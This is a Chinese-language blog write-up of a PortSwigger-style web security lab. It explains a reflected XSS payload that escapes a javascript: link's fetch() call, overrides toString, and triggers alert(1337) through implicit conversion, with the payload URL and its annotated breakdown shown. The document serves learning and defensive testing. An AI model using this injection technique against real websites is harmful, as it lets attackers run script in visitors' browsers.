渗透实战:使用隐式转换覆盖toString的反射型xss

发布于:2025-06-30 ⋅ 阅读:(22) ⋅ 点赞:(0)

进入页面后到留言板查看源代码发现 back blog 选项下的代码有些东西

<a href="javascript:fetch('/analytics', {method:'post',body:'/post%3fpostId%3d4'}).finally(_ => window.location = '/')">Back to Blog</a>

<a href="javascript:...">Back to Blog</a>
这是一个超链接,href属性使用了javascript:协议,表示点击时会执行后续的JavaScript代码而非跳转URL。

fetch 向服务器端的/analytics路径发送请求,body参数是一个编码后的字符串(/post%3fpostId%3d1,解码后为/post?postId=1),可能是要记录的文章ID或用户行为数据。

无论fetch请求成功或失败,最终都会执行finally中的回调函数,将页面重定向到根路径/

漏洞点也确实在这里,我们一起看下 lab 给出的解题方法,分析下他的思路

https://YOUR-LAB-ID.web-security-academy.net/post?postId=5&%27},x=x=%3E{throw/**/onerror=alert,1337},toString=x,window%2b%27%27,{x:%27

在 hackbar 解码看一下

当我们输入这段 url 后,代码中的<a>标签内获取到我们输入的内容后完整代码如下:

<a href="javascript:fetch('/analytics', {method:'post',body:'/post?postId=5&'},x=x=>{throw/**/onerror=alert,1337},toString=x,window+'',{x:''}).finally(_ => window.location = '/')">Back to Blog</a>

其中fetch()函数是这样的

fetch('/analytics', {
  method: 'post',
  body: '/post?postId=5&'},  // 关键闭合点,&分隔参数,后面内容才会当作javascript执行
  x = x => { throw/**/ onerror = alert, 1337 },  // 定义恶意函数弹窗显示lab指定数字
  toString = x,              // 覆盖 toString 方法
  window + '',               // 触发 toString()
  { 1: ''                    // 修复语法,为闭合最后的'}构造的
}).finally(_ => window.location = '/')

去掉&符号会导致参数错误,需要&作为参数分隔符

当点击 back to blog 按钮时,触发恶意函数执行。

lab 给出提示使用 alert 弹出字符 1337 完成 lab。

为了方便理解,我们可以写一段 html 代码去模拟复现

<html>
  <h1>
    利用toString()触发的反射型xss
  </h1>
  <script>
    throw 1337; //抛出一个错误
  </script>
</html>

经过测试, throw 后面的事件可以是任何事件,不一定非得是 onerror

throw a, b, c 的逻辑是依次执行后面的参数,但是只返回最后的参数值作为错误信息

例如我们 throw 后面传入三个触发 alert 的事件,最后传入 1339, 如下所示

依次弹窗 1,2,3 后抛出错误 1339

可以理解为 throw 会计算和执行后面的内容,只返回最后一个参数执行结果

依次弹窗 1,2 后返回最后的参数执行计算的结果 2

后面的逻辑就是将 x 赋值给 toString(),利用 window+''触发隐式转换

当对象与字符串相加时,JavaScript 会尝试调用对象的 toString() 方法进行隐式转换

由于toString()被恶意函数覆盖,导致执行了恶意函数。


网站公告

今日签到

点亮在社区的每一天
去签到